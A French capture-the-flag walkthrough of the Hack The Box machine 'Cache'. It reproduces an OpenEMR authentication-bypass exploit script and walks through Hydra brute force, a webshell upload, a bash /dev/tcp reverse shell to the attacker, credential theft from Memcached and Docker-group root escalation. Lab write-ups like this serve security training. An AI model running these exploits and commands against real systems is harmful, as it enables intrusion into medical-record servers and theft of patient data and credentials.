# Version: All versions prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15152
# CWE: CWE-287
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15152-Exploit

'''
Description:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to
the registration page and modifying the requested url to access the desired page. Some
examples of pages in the portal directory that are accessible after browsing to the
registration page include:
- add_edit_event_user.php
- find_appt_popup_user.php
- get_allergies.php
- get_amendments.php
- get_lab_results.php
- get_medications.php
- get_patient_documents.php
- get_problems.php
- get_profile.php
- portal_payment.php
- messaging/messages.php
- messaging/secure_chat.php
- report/pat_ledger.php
- report/portal_custom_report.php
- report/portal_patient_report.php
Normally, access to these pages requires authentication as a patient. If a user were to visit
any of those pages unauthenticated, they would be redirected to the login page.
'''

import requests
import argparse

my_parser = argparse.ArgumentParser(description='OpenEMR Authentication bypass')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--Openemrpath', type=str)
my_parser.add_argument('-R', '--PathToGet', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.Openemrpath
pathtoread = args.PathToGet

session = requests.Session()
check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'
check_vuln = session.get(check_vuln_url).text

if "Enter email address to receive registration." in check_vuln:
    print('[+] Host Vulnerable. Proceeding exploit')
else:
    print('[-] Host is not Vulnerable: Registration for patients is not enabled')

header = {
    'Referer': check_vuln_url
}
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread
Exploit = session.get(exploit_url, headers=header)

print(Exploit.text)

L’en-tête indique que la vulnérabilité permet à un utilisateur non authentifié de contourner l’authentification du portail patient.

Le commentaire du script précise qu’après avoir accédé à la page d’inscription, plusieurs ressources du répertoire portal deviennent accessibles sans authentification, notamment :

add_edit_event_user.php
find_appt_popup_user.php
get_allergies.php
get_amendments.php
get_lab_results.php
get_medications.php
get_patient_documents.php
get_problems.php
get_profile.php
portal_payment.php
messaging/messages.php
messaging/secure_chat.php
report/pat_ledger.php
report/portal_custom_report.php
report/portal_patient_report.php

L’objectif est donc de récupérer ces ressources afin d’examiner leur contenu.

Tu affiches ensuite l’aide du script afin d’identifier les paramètres attendus :

python3 50017.py -h

La commande retourne :

usage: 50017.py [-h] [-T IP] [-P PORT] [-U OPENEMRPATH] [-R PATHTOGET]

OpenEMR Authentication bypass

options:
  -h, --help            show this help message and exit
  -T, --IP IP
  -P, --PORT PORT
  -U, --Openemrpath OPENEMRPATH
  -R, --PathToGet PATHTOGET

Le script attend les paramètres suivants :

  • l’adresse de la cible avec -T ;
  • le port HTTP avec -P ;
  • le chemin de base de l’installation OpenEMR avec -U ;
  • la ressource à demander avec -R.

Deux lignes du code permettent de comprendre comment construire le chemin à fournir avec -R.

La première montre que le script accède à la page d’inscription du portail :

check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'

La seconde montre que la valeur fournie avec -R est ajoutée telle quelle à l’URL :

exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread

Comme le commentaire du script précise que les ressources ciblées se trouvent dans le répertoire portal, tu dois donc fournir leur chemin complet.

Pour commencer, tu testes :

/portal/add_edit_event_user.php

Depuis le répertoire hms/50017, tu lances alors 50017.py sur cette ressource :

python3 50017.py \
  -T hms.htb \
  -P 80 \
  -U '' \
  -R '/portal/add_edit_event_user.php' \
  | tee add_edit_event_user.txt

L’option -U '' indique que l’installation OpenEMR est directement accessible à la racine de hms.htb.

La réponse est affichée dans le terminal et enregistrée en même temps dans :

add_edit_event_user.txt

Le script confirme d’abord que la cible est vulnérable :

[*] Checking vulnerability:

[+] Host Vulnerable. Proceeding exploit

[+] Results:

Dans la réponse, une information mérite déjà d’être relevée :

<td nowrap>
   <b>Provider:</b>
</td>
<td style='padding:0px 5px 5px 0' nowrap>
  <select class="form-control" name='form_provider_ae' id='form_provider_ae' onchange='change_provider();'>
    <option value='1'>Administrator, Administrator</option>
  </select>
</td>

Cette valeur apparaît dans le champ Provider du formulaire de rendez-vous. Elle indique la présence d’un profil administrateur dans OpenEMR, sans encore révéler son nom d’utilisateur ni son mot de passe.

Le premier test ayant confirmé le fonctionnement du contournement, tu automatises maintenant la récupération des autres ressources mentionnées dans le script.

Comme add_edit_event_user.php a déjà été récupérée, tu l’exclus de la liste :

pages=(
  find_appt_popup_user.php
  get_allergies.php
  get_amendments.php
  get_lab_results.php
  get_medications.php
  get_patient_documents.php
  get_problems.php
  get_profile.php
  portal_payment.php
  messaging/messages.php
  messaging/secure_chat.php
  report/pat_ledger.php
  report/portal_custom_report.php
  report/portal_patient_report.php
)

for page in "${pages[@]}"; do
  output="${page//\//_}"
  output="${output%.php}.txt"

  python3 50017.py \
    -T hms.htb \
    -P 80 \
    -U '' \
    -R "/portal/$page" \
    | tee "$output"
done

La substitution :

${page//\//_}

remplace les / présents dans certains chemins par des _.

Par exemple :

messaging/messages.php

est enregistré sous le nom :

messaging_messages.txt

Comme la première ressource a déjà révélé la chaîne Administrator, tu recherches ce terme dans l’ensemble des fichiers récupérés :

grep -ni 'administrator' *.txt

La commande retourne :

messaging_messages.txt:67:    $scope.authrecips = [{"userid":"openemr_admin","username":"Administrator Administrator"}];
add_edit_event_user.txt:86:    <option value='1'>Administrator, Administrator</option>

La seconde ligne correspond à l’information déjà observée dans le formulaire de rendez-vous.

La première apporte en revanche une information supplémentaire : elle révèle le nom d’utilisateur associé au profil administrateur :

openemr_admin

Tu disposes désormais d’un nom d’utilisateur OpenEMR valide. Les exploits authentifiés 49998.py et 45161.py nécessitent toutefois également le mot de passe associé à ce compte.

Il faut maintenant déterminer ce mot de passe. Tu commences donc par examiner le formulaire de connexion d’OpenEMR afin d’identifier précisément les paramètres transmis lors d’une tentative d’authentification.

Recherche du mot de passe de openemr_admin

Tu disposes maintenant d’une page de connexion OpenEMR et d’un nom d’utilisateur valide, openemr_admin. Dans ce contexte, l’outil qui vient naturellement à l’esprit est Hydra, puisqu’il permet de tester automatiquement une liste de mots de passe sur un formulaire d’authentification HTTP.

Avant de construire la commande Hydra, tu dois identifier les éléments nécessaires pour reproduire correctement la requête d’authentification :

  • l’URL vers laquelle les identifiants sont envoyés ;
  • les paramètres transmis dans la requête ;
  • le champ contenant le nom d’utilisateur ;
  • le champ contenant le mot de passe ;
  • un élément permettant de reconnaître un échec d’authentification.

Pour relever ces différents éléments, tu interceptes une tentative de connexion avec Burp Suite.

Identification des paramètres avec Burp Suite

Tu ouvres Burp Suite et configures ton navigateur pour faire passer ses requêtes par le proxy.

Si besoin, tu peux te référer à la recette dédiée pour configurer Burp Suite Community Edition avec FoxyProxy :

« Burp Suite Community Edition avec FoxyProxy »

Sur la page de connexion d’OpenEMR, tu saisis le nom d’utilisateur openemr_admin et un mot de passe volontairement incorrect, par exemple test.

Tu interceptes la tentative de connexion dans Burp Suite, puis tu envoies la requête dans Repeater pour l’examiner plus facilement.

Tentative de connexion OpenEMR avec un mauvais mot de passe dans Burp Suite

Dans Repeater, tu peux maintenant examiner précisément la requête envoyée par le formulaire.

Elle utilise la méthode HTTP POST vers l’URL suivante :

/interface/main/main_screen.php?auth=login&site=default

Le corps de la requête contient les paramètres suivants :

new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=test

Tu identifies ainsi les deux champs qui nous intéressent :

  • authUser contient le nom d’utilisateur ;
  • clearPass contient le mot de passe.

Comme le nom d’utilisateur openemr_admin est déjà connu, seule la valeur du paramètre clearPass doit varier. Hydra utilise le marqueur ^PASS^ pour indiquer l’emplacement où il doit tester successivement les mots de passe de la liste :

clearPass=^PASS^

Tu reprends donc le corps de la requête observée dans Burp et remplaces uniquement la valeur du mot de passe par ^PASS^ :

new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^

Il reste maintenant à indiquer à Hydra comment reconnaître une tentative de connexion échouée.

Dans la réponse renvoyée après le mot de passe incorrect test, tu repères la ligne suivante :

w.top.location.href = '/interface/login_screen.php?error=1&site=';

La chaîne error=1 apparaît donc lors d’un échec d’authentification. Tu peux l’utiliser comme condition d’échec dans Hydra :

F=error=1

Tu disposes maintenant de tous les éléments nécessaires pour construire la requête Hydra :

Utilisateur        : openemr_admin
Cible              : hms.htb
Méthode            : POST
URL                 : /interface/main/main_screen.php?auth=login&site=default
Champ utilisateur  : authUser
Champ mot de passe : clearPass
Marqueur d’échec   : error=1

Attaque par dictionnaire avec Hydra

Comme tu te trouves encore dans le répertoire hms/50017, tu reviens d’abord dans le répertoire de travail hms :

cd ..

Tu crées ensuite un sous-répertoire dédié à Hydra ainsi qu’un fichier contenant quelques mots de passe de test :

mkdir -p hydra

cat > hydra/test-passwords.txt <<'EOF'
test
password
admin
H@v3_fun
EOF

L’arborescence de travail contient désormais un répertoire dédié à l’exploit 50017.py et un autre à Hydra :

hms/
├── 50017/
└── hydra/

Cette première liste ne vise pas encore à trouver le mot de passe. Elle sert surtout à vérifier que Hydra reproduit correctement la requête observée dans Burp Suite et reconnaît bien le marqueur d’échec.

Tu lances alors Hydra avec cette liste de test afin de vérifier que la requête est correctement reproduite et que les échecs d’authentification sont bien détectés :

hydra -l openemr_admin \
-P hydra/test-passwords.txt \
hms.htb \
http-post-form \
'/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^:F=error=1' \
-t 1 \
-V

L’option -l indique le nom d’utilisateur déjà connu, tandis que -P désigne le fichier contenant les mots de passe à tester.

Le module http-post-form attend trois éléments séparés par des deux-points :

<URL>:<données envoyées>:<condition d’échec>

Dans cette commande, ils correspondent à :

/interface/main/main_screen.php?auth=login&site=default

l’URL qui reçoit la requête de connexion ;

new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^

le corps de la requête POST observé dans Burp. Hydra remplace ^PASS^ par chaque mot de passe de la liste ;

F=error=1

la condition d’échec : si error=1 apparaît dans la réponse, Hydra considère que l’authentification a échoué.

L’option -t 1 limite Hydra à une seule tâche simultanée pour cette phase de validation, tandis que -V affiche chaque tentative effectuée.

Voici le résultat :

Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at [date]
[DATA] max 1 task per 1 server, overall 1 task, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking http-post-form://hms.htb:80/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^:F=error=1
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "test" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "password" - 2 of 4 [child 0] (0/0)
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "admin" - 3 of 4 [child 0] (0/0)
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "H@v3_fun" - 4 of 4 [child 0] (0/0)
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at [date]

Les quatre mots de passe de test sont correctement identifiés comme des échecs. Cela confirme que Hydra reproduit correctement la requête d’authentification et que le marqueur F=error=1 permet de reconnaître une connexion refusée.

Le fonctionnement de la commande étant validé, tu peux maintenant passer à une liste de mots de passe plus réaliste. Tu extrais par exemple les 10 000 premières entrées de RockYou :

head -n 10000 /usr/share/wordlists/rockyou.txt \
  > hydra/rockyou-10000.txt

Cette limitation permet de commencer par les mots de passe les plus courants sans lancer immédiatement l’intégralité de la wordlist RockYOU.

Tu relances ensuite Hydra avec cette liste de 10 000 mots de passe :

hydra -l openemr_admin \
  -P hydra/rockyou-10000.txt \
  hms.htb \
  http-post-form \
  '/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^:F=error=1' \
  -t 1 \
  -V

Hydra teste successivement les mots de passe de la liste. Dans ce cas, il finit par identifier une combinaison valide :

[80][http-post-form] host: hms.htb   login: openemr_admin   password: xxxxxx

Tu disposes désormais d’identifiants OpenEMR valides :

openemr_admin:xxxxxx

Avant de les utiliser avec les exploits OpenEMR authentifiés, tu peux vérifier si ces identifiants ont également été réutilisés pour un compte local accessible en SSH.

ssh openemr_admin@cache.htb

Le mot de passe découvert avec Hydra n’est toutefois pas accepté en SSH. Rien n’indique donc, à ce stade, que ces identifiants soient réutilisés pour un compte local.

Tu disposes maintenant des identifiants OpenEMR nécessaires pour tester les exploits authentifiés 49998.py et 45161.py.

Analyse de l’exploit 49998.py

Depuis le répertoire de travail hms, tu crées un sous-répertoire dédié à l’exploit 49998.py, puis tu copies le script avec searchsploit :

mkdir -p 49998
cd 49998

searchsploit -m php/webapps/49998.py

Avant de l’exécuter, tu ouvres 49998.py dans un éditeur de texte afin d’en comprendre le fonctionnement général :

nano 49998.py

L’en-tête indique que le script exploite la vulnérabilité :

CVE-2018-15139

La description précise qu’il s’agit d’un téléversement de fichier non restreint dans :

/interface/super/manage_site_files.php

L’exploitation nécessite toutefois un utilisateur OpenEMR authentifié.

Le script commence donc par construire la requête de connexion :

auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'

body = {
    'new_login_session_management': '1',
    'authProvider': 'Default',
    'authUser': username,
    'clearPass': password,
    'languageChoice': '1'
}

auth = session.post(auth_url, headers=header, data=body)

Tu retrouves ici les mêmes paramètres d’authentification que ceux observés précédemment avec Burp Suite : authUser pour le nom d’utilisateur et clearPass pour le mot de passe.

Une fois authentifié, le script cible la page vulnérable :

exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php'

Il prépare ensuite une requête multipart/form-data contenant un fichier PHP nommé shell.php. Ce fichier embarque p0wny@shell, une interface web permettant d’exécuter des commandes sur le serveur.

La requête est envoyée avec :

session.post(exploit_url, headers=header, data=body)

Si l’envoi réussit, la webshell devient accessible ici :

path = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/images/shell.php'

L’exploitation consiste donc à téléverser shell.php via manage_site_files.php, puis à l’ouvrir dans le navigateur pour exécuter des commandes.

Le fonctionnement général de l’exploit est donc assez simple :

  1. s’authentifier auprès d’OpenEMR ;
  2. envoyer shell.php via manage_site_files.php ;
  3. accéder ensuite à la webshell dans /sites/default/images/.

p0wny@shell est une webshell PHP légère qui permet d’exécuter des commandes sur le serveur depuis une interface web, avec les privilèges du compte utilisé par le serveur web.

Avant de lancer l’exploitation, tu affiches l’aide du script afin d’identifier les paramètres attendus :

python3 49998.py -h

La commande retourne :

/hms/49998/49998.py:25: SyntaxWarning: invalid escape sequence '\ '
  / _ \ _ __   ___ _ __ | ____|  \/  |  _ \          | ___| / _ \ / | |___ /

 ___                   _____ __  __ ____            ____   ___   _   _____
  / _ \ _ __   ___ _ __ | ____|  \/  |  _ \          | ___| / _ \ / | |___ /
 | | | | '_ \ / _ \ '_ \|  _| | |\/| | |_) |  _____  |___ \| | | || |   |_  |
 | |_| | |_) |  __/ | | | |___| |  | |  _ <  |_____|  ___) | |_| || |_ ___) |
  \___/| .__/ \___|_| |_|_____|_|  |_|_| \_\         |____(_)___(_)_(_)____/
       |_|

                    _____            _       _ _
                    | ____|_  ___ __ | | ___ (_) |_
                    |  _| \ \/ / '_ \| |/ _ \| | __|
                    | |___ >  <| |_) | | (_) | | |_
                    |_____/_/\_\ .__/|_|\___/|_|\__|
                               |_|

usage: 49998.py [-h] [-T IP] [-P PORT] [-U PATH] [-u USERNAME] [-p PASSWORD]

OpenEMR Remote Code Execution

options:
  -h, --help            show this help message and exit
  -T, --IP IP
  -P, --PORT PORT
  -U, --PATH PATH
  -u, --USERNAME USERNAME
  -p, --PASSWORD PASSWORD

Le SyntaxWarning provient d’une séquence d’échappement utilisée dans la bannière ASCII du script et n’empêche pas son exécution.

Les paramètres attendus sont les suivants :

-T  adresse ou nom d’hôte de la cible
-P  port HTTP
-U  chemin de base de l’installation OpenEMR
-u  nom d’utilisateur OpenEMR
-p  mot de passe OpenEMR

OpenEMR est directement accessible à la racine de hms.htb, sans sous-répertoire supplémentaire. Le paramètre -U, qui représente le chemin de base de l’installation, peut donc rester vide :

La commande d’exploitation prend ainsi la forme suivante :

python3 49998.py \
  -T hms.htb \
  -P 80 \
  -U '' \
  -u openemr_admin \
  -p 'xxxxxx'

Le script indique que la webshell doit être accessible à l’adresse suivante :

http://hms.htb/sites/default/images/shell.php

Tu ouvres cette URL dans le navigateur afin de vérifier que l’envoi a réussi. L’interface de p0wny@shell s’affiche bien.

Webshell p0wny@shell exécutant la commande id en tant que www-data

L’envoi a bien fonctionné : l’interface de p0wny@shell s’affiche et permet d’exécuter des commandes sur la cible.

Pour identifier le compte sous lequel elles sont exécutées, tu saisis :

id

La réponse montre que la webshell s’exécute sous le compte www-data :

uid=33(www-data) gid=33(www-data) groups=33(www-data)

L’exploit 49998.py permet donc d’obtenir directement une exécution de commandes en tant que www-data.

Identification des utilisateurs locaux

Depuis la webshell, tu examines le contenu de /home afin d’identifier les comptes utilisateurs disposant d’un répertoire personnel :

ls -l /home

La commande retourne :

total 8
drwxr-xr-x 11 ash   ash   4096 May  6  2020 ash
drwxr-x---  5 luffy luffy 4096 May  6  2020 luffy

Deux comptes disposent donc d’un répertoire personnel sous /home :

ash
luffy

Le répertoire personnel de luffy n’est accessible qu’à son propriétaire et aux membres de son groupe :

drwxr-x--- 5 luffy luffy

En revanche, les permissions du répertoire personnel de ash autorisent les autres utilisateurs à le parcourir. www-data peut donc en examiner le contenu :

ls -l /home/ash

La sortie obtenue est la suivante :

total 28
drwxrwxr-x 2 root root 4096 May  5  2020 Desktop
drwxrwxr-x 2 root root 4096 Oct  9  2019 Documents
drwxrwxr-x 2 root root 4096 Sep 18  2019 Downloads
drwxrwxr-x 2 root root 4096 Sep 18  2019 Music
drwxrwxr-x 2 root root 4096 Sep 18  2019 Pictures
drwxrwxr-x 2 root root 4096 Oct  9  2019 Public
-r-x------ 1 ash  ash    33 Jul 31 08:11 user.txt

Le fichier user.txt est bien présent. Ses permissions montrent que seul son propriétaire, ash, dispose d’un droit d’accès :

-r-x------ 1 ash ash 33 Jul 31 08:11 user.txt

Le shell obtenu en tant que www-data ne permet donc pas de lire le flag utilisateur.

Les identifiants ash:H@v3_fun, découverts au début de l’énumération, n’ont jusqu’à présent fonctionné ni en SSH ni sur OpenEMR. Comme user.txt appartient à ash et n’est pas lisible par www-data, tu peux maintenant tester ce mot de passe directement avec su.

Depuis la webshell, tu tentes donc de basculer vers l’utilisateur ash :

su - ash

La tentative échoue avec le message suivant :

su: must be run from a terminal

Cette erreur n’indique pas que le mot de passe est incorrect. Elle signifie simplement que su a besoin d’un terminal interactif pour demander le mot de passe.

La webshell p0wny@shell permet bien d’exécuter des commandes, mais elle ne fournit pas ce type de terminal. Il faut donc obtenir un reverse shell avant de réessayer su.

Obtention d’un reverse shell en tant que www-data

Pour obtenir un shell plus interactif permettant notamment d’utiliser su, tu commences par lancer un listener sur Kali :

rlwrap -cAr nc -lvnp 4444

Depuis p0wny@shell, tu exécutes ensuite un reverse shell Bash vers l’adresse IP de l’interface tun0 de Kali, sur le port 4444 :

bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'

Le listener reçoit alors une connexion en provenance de la cible :

connect to [10.10.x.x] from [10.129.x.x]

Tu disposes maintenant d’un reverse shell sous le compte www-data :

www-data@cache:/var/www/hms.htb/public_html/sites/default/images$

Ce reverse shell reste rudimentaire et ne se comporte pas encore comme un vrai terminal interactif. Tu le stabilises donc en suivant la recette dédiée :

« Stabiliser un Reverse Shell Bash »

Tu crées d’abord un pseudo-terminal avec Python :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Tu places ensuite le shell en arrière-plan avec Ctrl+Z, puis dans le terminal Kali, tu exécutes :

stty raw -echo
fg

De retour dans le shell distant, tu réinitialises le terminal :

reset

Lorsque reset demande le type de terminal, tu réponds :

xterm

Enfin, tu définis la variable d’environnement TERM :

export TERM=xterm

Passage à l’utilisateur ash

Tu disposes maintenant d’un terminal suffisamment interactif pour réessayer su vers le compte ash :

su - ash

Lorsque le mot de passe est demandé, tu utilises celui découvert dans functionality.js :

H@v3_fun

Cette fois, l’authentification réussit et tu obtiens un shell sous le compte ash :

ash@cache:~$

Tu vérifies ton identité :

id

La sortie confirme que tu es maintenant connecté sous le compte ash :

uid=1000(ash) gid=1000(ash) groups=1000(ash)

Lecture du flag user.txt

Tu peux maintenant lire le flag utilisateur :

cat /home/ash/user.txt
8e33xxxxxxxxxxxxxxxxxxxxxxxxxx097b

La partie Prise pied s’achève ici, avec l’accès au compte ash et la lecture de user.txt.

Tu peux maintenant poursuivre l’énumération locale afin de rechercher une possibilité d’escalade de privilèges.

Escalade de privilèges

Une fois connecté en tant que ash, tu peux commencer l’énumération locale afin d’identifier une piste permettant d’obtenir les privilèges root.

La méthode générale est détaillée dans la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » .

Vérification sudo

sudo -l

La commande demande le mot de passe de ash, puis indique qu’aucune commande ne lui est autorisée via sudo :

Sorry, user ash may not run sudo on cache.

La piste sudo peut donc être écartée.

Capabilities

getcap -r / 2>/dev/null

Les capabilities permettent d’accorder à un programme certains privilèges normalement réservés à root, sans lui attribuer l’ensemble des privilèges du superutilisateur.

La commande ne retourne aucun binaire présentant une capability exploitable dans ce contexte.

La piste des capabilities peut donc être écartée.

SUID

Tu poursuis avec suid3num.py afin d’identifier les fichiers possédant le bit SUID.

Comme le script se trouve sur Kali, tu le transfères d’abord vers la cible en suivant la recette dédiée :

« Copier des fichiers depuis et vers Kali Linux »

Depuis Kali, dans le répertoire contenant suid3num.py, tu lances par exemple un serveur HTTP :

python3 -m http.server 8000

Sur la cible, tu te places dans /dev/shm puis tu récupères le script :

cd /dev/shm
wget http://10.10.x.x:8000/suid3num.py

Tu peux ensuite l’exécuter :

python3 suid3num.py

Lorsqu’un exécutable possède le bit SUID, il s’exécute avec les privilèges de son propriétaire plutôt qu’avec ceux de l’utilisateur qui le lance. Ici, l’outil ne met en évidence aucun binaire personnalisé ou exploitable pour obtenir root.

[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
------------------------------


[#] SUID Binaries found in GTFO bins..
------------------------------
[!] None :(
------------------------------

L’outil ne met en évidence aucun binaire SUID personnalisé ou directement exploitable pour obtenir root.

La piste SUID peut donc être écartée.

Services locaux

Les premières pistes classiques n’ayant rien révélé d’exploitable, tu poursuis l’énumération locale en recherchant les services qui écoutent sur la machine :

ss -tulnp

Cette commande affiche les sockets TCP et UDP en écoute, avec leurs adresses et leurs ports. Elle permet notamment d’identifier des services accessibles uniquement localement et donc invisibles depuis l’extérieur.

La sortie montre plusieurs services en écoute :

Netid  State    Recv-Q   Send-Q                           Local Address:Port                                    Peer Address:Port                               
udp    UNCONN   0        0                                127.0.0.53%lo:53                                           0.0.0.0:*                                  
udp    UNCONN   0        0                           10.129.1.52%ens160:68                                           0.0.0.0:*                                  
udp    UNCONN   0        0           [fe80::a0de:adff:feba:ff70]%ens160:546                                             [::]:*                                  
tcp    LISTEN   0        128                              127.0.0.53%lo:53                                           0.0.0.0:*                                  
tcp    LISTEN   0        128                                    0.0.0.0:22                                           0.0.0.0:*                                  
tcp    LISTEN   0        80                                   127.0.0.1:3306                                         0.0.0.0:*                                  
tcp    LISTEN   0        128                                  127.0.0.1:11211                                        0.0.0.0:*                                  
tcp    LISTEN   0        128                                       [::]:22                                              [::]:*                                  
tcp    LISTEN   0        128                                          *:80                                                 *:*       

Les ports 22 et 80 correspondent aux services déjà identifiés pendant l’énumération initiale.

Deux autres services écoutent uniquement sur l’interface loopback :

127.0.0.1:3306
127.0.0.1:11211

Le port 3306 correspond à MySQL, utilisé par OpenEMR.

Le port 11211, en revanche, mérite davantage d’attention : il est généralement associé au service de cache Memcached.

Comme ce service n’écoute que sur 127.0.0.1, il n’était pas accessible depuis Kali lors de l’énumération externe. Le shell obtenu sous le compte ash permet désormais de l’interroger directement depuis la cible.

Identification du service Memcached

Pour confirmer qu’il s’agit bien de Memcached et connaître sa version, tu lui envoies la commande version :

printf 'version\r\nquit\r\n' | nc 127.0.0.1 11211

Ici, printf envoie deux commandes au service :

  • version pour demander sa version ;
  • quit pour fermer proprement la connexion.

Les séquences \r\n correspondent aux fins de ligne attendues par le protocole texte de Memcached.

Le tube | transmet ces commandes à Netcat, qui ouvre une connexion TCP vers 127.0.0.1 sur le port 11211.

Le serveur répond :

VERSION 1.5.6 Ubuntu

Cette réponse confirme qu’un service Memcached 1.5.6 est bien actif sur la machine.

Memcached est un service de cache en mémoire. Les applications peuvent y stocker temporairement des données sous la forme de couples clé-valeur.

Une clé identifie une donnée mise en cache, tandis que la valeur correspond au contenu qui lui est associé.

Ici, le service n’écoute que sur 127.0.0.1 et ne demande aucune authentification. Depuis le shell de ash, tu peux donc commencer à examiner son contenu.

Énumération des objets stockés dans Memcached

Maintenant que Memcached est identifié et accessible, tu peux commencer à examiner les données qu’il contient. Pour cela, tu demandes les statistiques sur les objets actuellement stockés :

printf 'stats items\r\nquit\r\n' | nc 127.0.0.1 11211

La sortie contient notamment :

STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 16
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 108
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 1989
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END

La sortie contient de nombreuses statistiques, mais une ligne est particulièrement intéressante :

STAT items:1:number 5

Elle indique que le slab 1 contient actuellement cinq objets.

Dans Memcached, un slab regroupe des objets de taille similaire afin d’optimiser leur stockage en mémoire. Ici, l’identifiant 1 correspond donc au slab qui contient les cinq objets détectés.

Tu peux maintenant demander à Memcached de lister les clés présentes dans le slab 1 :

printf 'stats cachedump 1 100\r\nquit\r\n' | nc 127.0.0.1 11211

Le premier argument, 1, désigne le slab à examiner. Le second, 100, indique le nombre maximal d’entrées à retourner.

La commande retourne :

ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

Cinq clés sont donc disponibles :

link
user
passwd
file
account

Ces clés sont particulièrement intéressantes : user et passwd suggèrent qu’un nom d’utilisateur et un mot de passe pourraient être stockés dans le cache.

Tu peux maintenant récupérer la valeur associée à chacune d’elles.

Récupération des valeurs stockées dans Memcached

Pour vérifier ce que contiennent ces cinq clés, tu envoies successivement une commande get à Memcached :

for key in link user passwd file account; do
  echo "===== $key ====="
  printf "get %s\r\nquit\r\n" "$key" | nc 127.0.0.1 11211
done

La sortie révèle le contenu suivant :

===== link =====
VALUE link 0 21
https://hackthebox.eu
END

===== user =====
VALUE user 0 5
luffy
END

===== passwd =====
VALUE passwd 0 9
0n3_p1ec3
END

===== file =====
VALUE file 0 7
nothing
END

===== account =====
VALUE account 0 9
afhj556uo
END

Chaque réponse indique la clé demandée, la taille de la valeur, puis affiche son contenu avant le marqueur END.

Parmi les données récupérées, les clés user et passwd fournissent un nouveau couple d’identifiants :

luffy:0n3_p1ec3

Comme luffy a déjà été identifié parmi les comptes disposant d’un répertoire personnel sous /home, tu peux maintenant tester ce mot de passe avec su.

Passage de ash à luffy

Tu tentes alors de basculer vers le compte luffy :

su - luffy

Lorsque le mot de passe est demandé, tu utilises celui récupéré dans Memcached :

0n3_p1ec3

L’authentification réussit et tu obtiens un shell sous le compte luffy :

luffy@cache:~$

Tu vérifies ensuite l’identité de luffy ainsi que les groupes auxquels il appartient :

id

La sortie montre notamment que luffy appartient au groupe 999(docker) :

uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

Cette appartenance mérite une attention particulière. Le groupe docker permet généralement d’accéder au socket du démon Docker. Or, le démon Docker s’exécute habituellement avec les privilèges de root sur l’hôte.

Un utilisateur capable de piloter Docker peut donc, selon la configuration, lancer un conteneur avec un accès très étendu au système hôte et potentiellement obtenir les privilèges de root.

Tu vas maintenant vérifier si luffy peut effectivement utiliser Docker et si cette configuration est exploitable.

Vérification de l’accès au démon Docker

Tu vérifies d’abord que luffy peut communiquer avec le démon Docker :

docker ps

La commande ne retourne aucun conteneur en cours d’exécution et ne produit aucune erreur de permission. luffy peut donc bien utiliser Docker.

Tu vérifies ensuite quelles images Docker sont disponibles localement :

docker images

La sortie montre la présence de l’image suivante :

REPOSITORY   TAG      IMAGE ID       CREATED        SIZE
ubuntu       latest   2ca708c1c9cc   6 years ago    64.2MB

L’image ubuntu:latest est déjà présente localement. Tu peux donc l’utiliser directement pour créer un nouveau conteneur.

L’idée consiste à monter la racine / de la machine hôte dans ce conteneur, puis à utiliser chroot pour traiter cette arborescence comme la nouvelle racine du shell.

Montage du système de fichiers hôte dans un conteneur

docker run --rm -it \
  -v /:/mnt/host \
  ubuntu:latest \
  chroot /mnt/host /bin/bash

